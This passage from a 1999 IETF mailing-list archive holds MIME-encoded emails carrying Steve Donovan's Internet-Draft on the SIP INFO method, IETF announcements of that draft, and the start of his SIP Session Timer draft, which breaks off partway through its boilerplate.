<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">This document =
proposes an extension to the Session Initiation Protocol.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">This extension =
adds the INFO method to the SIP protocol.&nbsp; The intent</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">of the INFO =
method is to allow for the carrying of session related </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">control =
information that is generated during a session.&nbsp; Examples =
of</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">such session =
control information are ISUP/ISDN signaling messages</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">and DTMF digits =
used to control telephony services.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">The internet =
draft is attached.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Fixedsys">Steve =
Donovan</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Fixedsys">MCIWorldcom</FONT>
</P>

<P><FONT FACE=3D"Arial" SIZE=3D2 COLOR=3D"#000000"> =
&lt;&lt;draft-ietf-mmusic-sip-info-method-00.txt&gt;&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE5441.78D61FBE--

------_=_NextPart_000_01BE5441.78D61FBE
Content-Type: text/plain;
	name="draft-ietf-mmusic-sip-info-method-00.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="draft-ietf-mmusic-sip-info-method-00.txt"
Content-Location: ATT-0-1E1A16A92DC0D211B16D00805F6D8FC3-D
	RAFT-%7E3.TXT

Internet Engineering Task Force                        Steven R. =
Donovan
INTERNET DRAFT                                                       =
MCI
February 8, 1999                                  Expires August 8, =
1999
                              =
<draft-ietf-mmusic-sip-info-method-00.txt>

                        The SIP INFO Method

Status of this document

This document is an Internet-Draft and is in full conformance with all
provisions of Section 10 of RFC 2026.

Internet-Drafts are working documents of the Internet Engineering Task
Force (IETF), its areas, and its working groups.  Note that other =
groups
may also distribute working documents as Internet-Drafts.

Internet-Drafts are draft documents valid for a maximum of six months
and may be updated, replaced, or obsoleted by other documents at any
time.  It is inappropriate to use Internet- Drafts as reference =
material
or to cite them other than as "work in progress."

To view the entire list of current Internet-Drafts, please check the
"1id-abstracts.txt" listing contained in the Internet-Drafts Shadow
Directories on ftp.is.co.za (Africa), ftp.nordu.net (Northern Europe),
ftp.nis.garr.it (Southern Europe), munnari.oz.au (Pacific Rim),
ftp.ietf.org (US East Coast), or ftp.isi.edu (US West Coast).



Abstract

This document proposes an extension to the Session Initiation Protocol.
This extension adds the INFO method to the SIP protocol.  The intent
of the INFO method is to allow for the carrying of session related=20
control information that is generated during a session.  Examples of
such session control information are ISUP/ISDN signaling messages
and DTMF digits used to control telephony services.


















Donovan                                                         [Page =
1]
=0C
Internet draft           The SIP INFO Method            February 8, =
1999

1.0 Introduction

There are situations where session related control information needs to
be sent during a session.  This information is separate from the media=20
that is being exchanged as part of the session.

Two examples of this are motivated by telephony related services:

1 - Mid Call Telephony Signaling Messages
2 - DTMF Digit/Dial Plus Control of Telephony Services

It can also be envisioned that there will be non telephony inspired=20
uses of a mechanism for relaying mid session information between=20
participants of the session and to Proxy Servers interested in the
session.

This document proposes the addition of the INFO Request method to the
SIP specification. =20

1.1 Mid Call Telephony Signaling Messages

The first use for the INFO method is the need to carry mid call=20
signaling information resulting from the interworking between an ISUP=20
or ISDN network/device and a SIP controlled network. =20

One specific example of this interworking is when the SIP controlled
network is used for transport between two PSTN locations.  For this=20
call, there will be a PSTN leg from the calling party to the SIP=20
network, a SIP leg through the SIP network and a PSTN leg from the SIP=20
network to the called party.  There needs to be a method to carry mid-
call PSTN signaling that is originated by the calling party through the
SIP network to the called party.

1.2 DTMF Digit/Dial Plus Control of Telephony Services

The second type of telephony session control information that needs to=20
be carried during a session is DTMF or dial plus (refered to from here
on as DTMF) generated information.  There are various telephony =
services
implemented today which require the use of DTMF digits.  Due to the=20
design of these features, the DTMF information needs to be carried both
as part of the media stream (in the RTP flow) and as part of the=20
signaling or control path.  This is due to the fact that there is an=20
implicit separation of the media and control path in the SIP protocol.
Thus, SIP Proxy Servers that implement services that require DTMF=20
control and that are not in the media path require a mechanism to be=20
notified of the DTMF digits.






Donovan                                                         [Page =
2]
=0C
Internet draft           The SIP INFO Method            February 8, =
1999

2.0 INFO Method

The INFO method is used for communicating mid-session control=20
information along the signaling path for the session.  The signaling
path for the INFO method is the signaling path established as a=20
result of the session setup. =20

The mid-session control information can be communicated in either
an INFO message header or as part of an attachment. =20

If the control information is telephony signaling information than the
signaling message would be carried as part of an ISUP attachment to the
INFO message as described in draft-ietf-sigtran-mime-isup-00.txt.

The method for carrying the DTMF information in the INFO message has=20
not yet been defined and is outside the scope of this document.

2.1 Header Field Support for INFO Method

The following table is an extension of tables 4 and 5 in the SIP
specification.  Refer to the SIP Specification for a description of
the content of the table.

Header                    Where    INFO
------                    -----    ----
Accept                      R       -
Accept-Encoding             R       -
Accept-Language             R       o
Allow                      200      -
Allow                      405      o
Authorization               R       o
Call-ID                    gc       m
Contact                     R       -
Contact                    1xx      -     =20
Contact                    2xx      -
Contact                    3xx      -
Contact                    485      -
Content-Encoding            e       o
Content-Length              e       o
Content-Type                e       *
CSeq                       gc       m
Date                        g       o
Encryption                  g       o
Expires                     g       -
>From                       gc       m
Hide                        R       o
Max-Forwards                R       o
Organization                g       o





Donovan                                                         [Page =
3]
=0C
Internet draft           The SIP INFO Method            February 8, =
1999

Header                    Where    INFO
------                    -----    ----
Priority                    R       o
Proxy-Authenticate         407      o
Proxy-Authorization         R       o
Proxy-Require               R       o
Require                     R       o
Retry-After                 R       -
Retry-After            404,480,486  o
Retry-After                503      o
Retry-After              600,603    o
Response-Key                R       o
Record-Route                R       o
Record-Route               2xx      o
Route                       R       o
Server                      r       o
Subject                     R       -
Timestamp                   g       o
To                        gc(1)     m
Unsupported                420      o
User-Agent                  g       o
Via                       gc(2)     m
Warning                     r       o
WWW-Authenticate           401      o

2.2 Responses to the INFO Request Method

A 200 OK response shall be sent if the INFO request was successful.

Request Failure (4xx), Server Failure (5xx) and Global Failure (6xx)=20
responses can also be sent for the INFO Request.

2.3 Message Body Inclusion

The INFO request may contain a message body.

2.4 Behavior of SIP User Agents

The protocol rules applied by the SIP User Agent shall be similar to=20
those applied used for the BYE request.  However, the INFO message =
shall
shall not change the state of the session.

2.5 Behavior of SIP Proxy and Redirect Servers

2.5.1 Proxy Server

The protocol rules applied by the SIP Proxy Server shall be similar to=20
those applied used for the BYE request.  However, the INFO message =
shall
shall not change the state of the session.




Donovan                                                         [Page =
4]
=0C
Internet draft           The SIP INFO Method            February 8, =
1999

2.5.2 Forking Proxy Server

The protocol rules applied by the SIP Forking Proxy Server shall be=20
similar to those applied used for the BYE request.  However, the INFO=20
message shall shall not change the state of the session.

2.5.3 Redirection Server

A redirection server should not receive the INFO method as it is a part
of the signaling path only at the initiation of the session.  As=20
such, a redirection server should send a 403 Forbidden response.

2.6 Security Considerations

There are no security issues specific to the INFO method.  The security
requirements specified in the SIP specification apply to the INFO
method.

3.0 References

[1] M. Handley, H. Schulzrinne, E. Schooler, and J. Rosenberg,=20
    "SIP: Session Initiation Protocol", Internet Draft, Internet=20
    Engineering Task Force, January 15, 1999.  Work in progress.

[2] C. Huitema, "The multipart/sip-id media type", Internet Draft,
    Internet Engineering Task Force, February 5, 1999.  Work in=20
    Progress

4.0 Author's Address

   Steve Donovan
   MCI Worldcom
   1493/678
   901 International Parkway
   Richardson, Texas 75081
   Email: steven.r.donovan@mci.com

















Donovan                                                         [Page =
5]




------_=_NextPart_000_01BE5441.78D61FBE--

From confctrl-owner  Wed Feb 10 13:43:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA27103
	for confctrl-outgoing; Wed, 10 Feb 1999 13:43:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA27098
	for <confctrl@zephyr.isi.edu>; Wed, 10 Feb 1999 13:43:32 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA21673
	for <confctrl@isi.edu>; Wed, 10 Feb 1999 13:43:31 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id QAA23434;
	Wed, 10 Feb 1999 16:42:57 -0500 (EST)
Message-Id: <199902102142.QAA23434@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-info-method-00.txt
Date: Wed, 10 Feb 1999 16:42:56 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The SIP INFO Method
	Author(s)	: S. Donovan
	Filename	: draft-ietf-mmusic-sip-info-method-00.txt
	Pages		: 5
	Date		: 09-Feb-99
	
This document proposes an extension to the Session Initiation Protocol.
This extension adds the INFO method to the SIP protocol.  The intent
of the INFO method is to allow for the carrying of session related
control information that is generated during a session.  Examples of
such session control information are ISUP/ISDN signaling messages
and DTMF digits used to control telephony services.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-info-method-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990210103455.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-info-method-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990210103455.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Feb 10 13:46:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA27300
	for confctrl-outgoing; Wed, 10 Feb 1999 13:46:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA27295
	for <confctrl@zephyr.isi.edu>; Wed, 10 Feb 1999 13:46:30 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA21903
	for <confctrl@isi.edu>; Wed, 10 Feb 1999 13:46:28 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id QAA23539;
	Wed, 10 Feb 1999 16:45:51 -0500 (EST)
Message-Id: <199902102145.QAA23539@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-info-method-00.txt
Date: Wed, 10 Feb 1999 16:45:51 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The SIP INFO Method
	Author(s)	: S. Donovan
	Filename	: draft-ietf-mmusic-sip-info-method-00.txt
	Pages		: 5
	Date		: 09-Feb-99
	
This document proposes an extension to the Session Initiation Protocol.
This extension adds the INFO method to the SIP protocol.  The intent
of the INFO method is to allow for the carrying of session related
control information that is generated during a session.  Examples of
such session control information are ISUP/ISDN signaling messages
and DTMF digits used to control telephony services.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-info-method-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990210103455.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-info-method-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-info-method-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990210103455.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Feb 11 08:17:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA03367
	for confctrl-outgoing; Thu, 11 Feb 1999 08:17:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03362
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 08:17:24 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20304
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 08:17:23 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id PAA28843; Thu, 11 Feb 1999 15:16:24 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <1N9CBYSR>; Thu, 11 Feb 1999 16:16:51 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D8577409@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>
Subject: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Thu, 11 Feb 1999 16:16:49 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE55D9.EED8C380"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE55D9.EED8C380
Content-Type: text/plain

> This message is notification of the following Internet Draft which has
> been submitted to the IETF for posting.
> 
> <draft-ietf-mmusic-sip-session-timer-00.txt> 
> 
> Abstract: 
> 
This document proposes an extension to the SIP specification.  This
extension adds a new message header that is used to specify the 
duration of a requested session.

The session timer can be used to limit the total duration of a session
if, for instance, one of the participants in the session wants to
limit the cost of the session.  It can also be used by stateful SIP
Proxy Servers to track the status of sessions for which session state
exists on the servers. Currently a stateful SIP Proxy Server that is 
not handling the media stream(s) for the session has no mechanism to 
definitively determine the state of all sessions for which it has state.
While the SIP Specification does provide the BYE method for terminating
the session, there is no mechanism for a SIP Proxy Server to detect the
end of a session when the BYE message is not sent or is lost due to 
network problems.

> The internet draft is attached.
> 
> Steve Donovan
> MCIWorldcom

------_=_NextPart_001_01BE55D9.EED8C380
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>draft-ietf-mmusic-sip-session-timer-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">This message is =
notification of the following Internet Draft which has been submitted =
to the IETF for posting.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Fixedsys">&lt;draft-ietf-mmusic-sip-</FONT><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">session-timer</FONT><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">-00.txt&gt; </FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Abstract:<BR>
</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">This document proposes an =
extension to the SIP specification.&nbsp; This</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">extension adds a new message =
header that is used to specify the </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">duration of a requested =
session.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">The session timer can be used to =
limit the total duration of a session</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">if, for instance, one of the =
participants in the session wants to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">limit the cost of the =
session.&nbsp; It can also be used by stateful SIP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">Proxy Servers to track the =
status of sessions for which session state</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">exists on the servers. =
Currently a stateful SIP Proxy Server that is </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">not handling the media =
stream(s) for the session has no mechanism to </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">definitively determine the =
state of all sessions for which it has state.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">While the SIP Specification =
does provide the BYE method for terminating</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">the session, there is no =
mechanism for a SIP Proxy Server to detect the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">end of a session when the BYE =
message is not sent or is lost due to </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">network problems.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">The internet =
draft is attached.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve =
Donovan</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Fixedsys">MCIWorldcom</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE55D9.EED8C380--

From confctrl-owner  Thu Feb 11 09:00:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA05324
	for confctrl-outgoing; Thu, 11 Feb 1999 09:00:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05319
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 08:59:58 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24290
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 08:59:57 -0800 (PST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id PAA11542; Thu, 11 Feb 1999 15:58:58 GMT
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.2232.9)
	id <1RZ4G2HG>; Thu, 11 Feb 1999 09:59:26 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D857740C@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Thu, 11 Feb 1999 09:59:22 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01BE55DF.DFFC8E72"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BE55DF.DFFC8E72
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE55DF.DFFC8E72"


------_=_NextPart_001_01BE55DF.DFFC8E72
Content-Type: text/plain

This time with the draft attached.  Sorry for the extra mail.

Steve

 <<draft-ietf-mmusic-sip-session-timer-00.txt>> 

> -----Original Message-----
> From:	Donovan, Steven R. (MCI) 
> Sent:	Thursday, February 11, 1999 10:17 AM
> To:	'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
> Subject:	draft-ietf-mmusic-sip-session-timer-00.txt
> 
> This message is notification of the following Internet Draft which has
> been submitted to the IETF for posting.
> 
> <draft-ietf-mmusic-sip-session-timer-00.txt> 
> 
> Abstract: 
> 
> This document proposes an extension to the SIP specification.  This
> extension adds a new message header that is used to specify the 
> duration of a requested session.
> 
> The session timer can be used to limit the total duration of a session
> if, for instance, one of the participants in the session wants to
> limit the cost of the session.  It can also be used by stateful SIP
> Proxy Servers to track the status of sessions for which session state
> exists on the servers. Currently a stateful SIP Proxy Server that is 
> not handling the media stream(s) for the session has no mechanism to 
> definitively determine the state of all sessions for which it has state.
> While the SIP Specification does provide the BYE method for terminating
> the session, there is no mechanism for a SIP Proxy Server to detect the
> end of a session when the BYE message is not sent or is lost due to 
> network problems.
> 
> The internet draft is attached.
> 
> Steve Donovan
> MCIWorldcom

------_=_NextPart_001_01BE55DF.DFFC8E72
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: draft-ietf-mmusic-sip-session-timer-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">This time with =
the draft attached.&nbsp; Sorry for the extra mail.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve</FONT>
</P>

<P><FONT FACE=3D"Arial" SIZE=3D2 COLOR=3D"#000000"> =
&lt;&lt;draft-ietf-mmusic-sip-session-timer-00.txt&gt;&gt; </FONT>
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Donovan, Steven R. (MCI) </FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Thursday, February 11, 1999 10:17 AM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">'confctrl@ISI.EDU'; =
'iptel@lists.research.bell-labs.com'</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 =
FACE=3D"Arial">draft-ietf-mmusic-sip-session-timer-00.txt</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">This message is =
notification of the following Internet Draft which has been submitted =
to the IETF for posting.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Fixedsys">&lt;draft-ietf-mmusic-sip-</FONT><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">session-timer</FONT><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">-00.txt&gt; </FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Abstract:<BR>
</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">This document proposes an =
extension to the SIP specification.&nbsp; This</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">extension adds a new message =
header that is used to specify the </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">duration of a requested =
session.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">The session timer can be used to =
limit the total duration of a session</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">if, for instance, one of the =
participants in the session wants to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">limit the cost of the =
session.&nbsp; It can also be used by stateful SIP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">Proxy Servers to track the =
status of sessions for which session state</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">exists on the servers. =
Currently a stateful SIP Proxy Server that is </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">not handling the media =
stream(s) for the session has no mechanism to </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">definitively determine the =
state of all sessions for which it has state.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">While the SIP Specification =
does provide the BYE method for terminating</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">the session, there is no =
mechanism for a SIP Proxy Server to detect the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">end of a session when the BYE =
message is not sent or is lost due to </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Courier New">network problems.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">The internet =
draft is attached.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve =
Donovan</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Fixedsys">MCIWorldcom</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE55DF.DFFC8E72--

------_=_NextPart_000_01BE55DF.DFFC8E72
Content-Type: text/plain;
	name="draft-ietf-mmusic-sip-session-timer-00.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="draft-ietf-mmusic-sip-session-timer-00.txt"
Content-Location: ATT-0-DDA0D810CEC1D211AFA900805FEAAC98-D
	RAFT-%7E6.TXT

Internet Engineering Task Force                        Steven R. =
Donovan
INTERNET DRAFT                                                       =
MCI
February 10, 1999                                Expires August 10, =
1999
                            =
<draft-ietf-mmusic-sip-session-timer-00.txt>

                         SIP Session Timer

Status of this document

This document is an Internet-Draft and is in full conformance with all
provisions of Section 10 of RFC 2026.

Internet-Drafts are working documents of the Internet Engineering Task
Force (IETF), its areas, and its working groups.  Note that other =
groups
may also distribute working documents as Internet-Drafts.

Internet-Drafts are draft documents valid for a maximum of six months
and may be updated, replaced, or obsoleted by other documents at any
time.  It is inappropriate to use Internet- Drafts as reference =
material
or to cite them other than as "work in progress."

To view the entire list of current Internet-Drafts, please check the
"1id-abstracts.txt" listing contained in the Internet-Drafts Shadow
Directories on ftp.is.co.za (Africa), ftp.nordu.net (Northern Europe),
